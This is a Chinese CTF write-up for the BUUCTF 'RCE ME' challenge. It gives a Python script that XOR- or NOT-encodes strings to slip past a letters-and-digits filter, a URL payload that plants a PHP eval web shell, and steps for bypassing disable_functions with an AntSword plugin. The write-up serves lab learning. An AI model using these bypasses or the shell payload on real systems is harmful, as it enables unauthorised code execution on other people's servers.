[BUUCTF题解][极客大挑战 2019]RCE ME 1
打开页面,出现了!是过滤了26个字母和10个数字的代码执行代码,刚好是还没学过的内容,连忙先找师傅们的文章学习。
涉及的知识已单独写了篇博客:使用非常规字符写出Shell - Article_kelp - 博客园 (cnblogs.com)
首先是获得所需要的字符,这里博主又糊了一个脚本,包含取反和异或两种生成拼接方式。
#blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入
#如果有其他的要求可以对blacklist列表进行删改
blacklist=["`","'",'"',"\\""0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"]
#不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串
#如果需要获得更多拼接字符串查看该函数中的result列表
def yiHuo(string):
global operationEffient
global blacklist
operationEffient=False
result=[]
finalstr='""^""'
rawstr=string
for i in range(0,len(rawstr)):
result.extend([[]])
for k in range(0,len(rawstr)):
for i in range(32,255):
if(chr(i) not in blacklist):
for j in range(32,255):
if(chr(j) not in blacklist):
if(i^j==ord(rawstr[k])):
result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]])
#在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串)
for i in range(0,len(result)):
if(len(result[i])==0):
return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))
for i in range(0,len(rawstr)):
finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):]
finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):]
return(finalstr)
def quFan(string):
global operationEffient
global blacklist
operationEffient=False
result=[]
finalstr='~""'
rawstr=string
for i in range(0,len(rawstr)):
result.extend([[]])
for k in range(0,len(rawstr)):
for i in range(32,255):
if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]):
result[k].extend([hex(i).replace('0x',"%")])
for i in range(0,len(result)):
if(len(result[i])==0):
return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))
print(result)
for i in range(0,len(rawstr)):
finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):]
return(finalstr)
while(True):
operationEffient=True
target=input("请输入待转换字符\n")
while(operationEffient):
operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n")
if(operation=="1"):
result=yiHuo(target)
pass
elif(operation=="2"):
result=quFan(target)
pass
else:
print("选择的操作无效")
continue
print(result)
使用效果如下:
现在就可以实现代码执行了,先传入一个拼接出来的SHELL,这里采用取反。
获得的Payload为:?code=(~%22%9e%8c%8c%9a%8d%8b%22)(~%22%9a%89%9e%93%d7%db%a0%af%b0%ac%ab%a4%d8%9c%92%9b%d8%a2%d6%22);
翻倒根目录就可以看到两个和flag有关的文件。
但是直接打开flag看不到任何内容(readflag打开一堆乱码),那么应该是调用readflag文件来读取flag,但是打开终端会发现执行不了任何命令。
这个时候访问下phpinfo()查看下配置就会发现,在disable_function内禁用了很大部分函数,在终端也因此执行不了操作。
这个时候就有两种解题方案,一种是采用手工来绕过disable_function的限制,但显然这又是博主未涉及到的领域,而且这部分的内容多到又可以写篇博客(日后再学吧);那么则可以采用第二种,蚁剑提供了可以用来绕过的插件(XD)。
(安装这个插件的时候可能会出现持续下载中或加载不出来等情况,这个具体可以参考蚁剑官网的解决方案)
安装完成后再用插件再打开终端,这个时候命令就能正常执行了,再去运行readflag就能拿到flag了。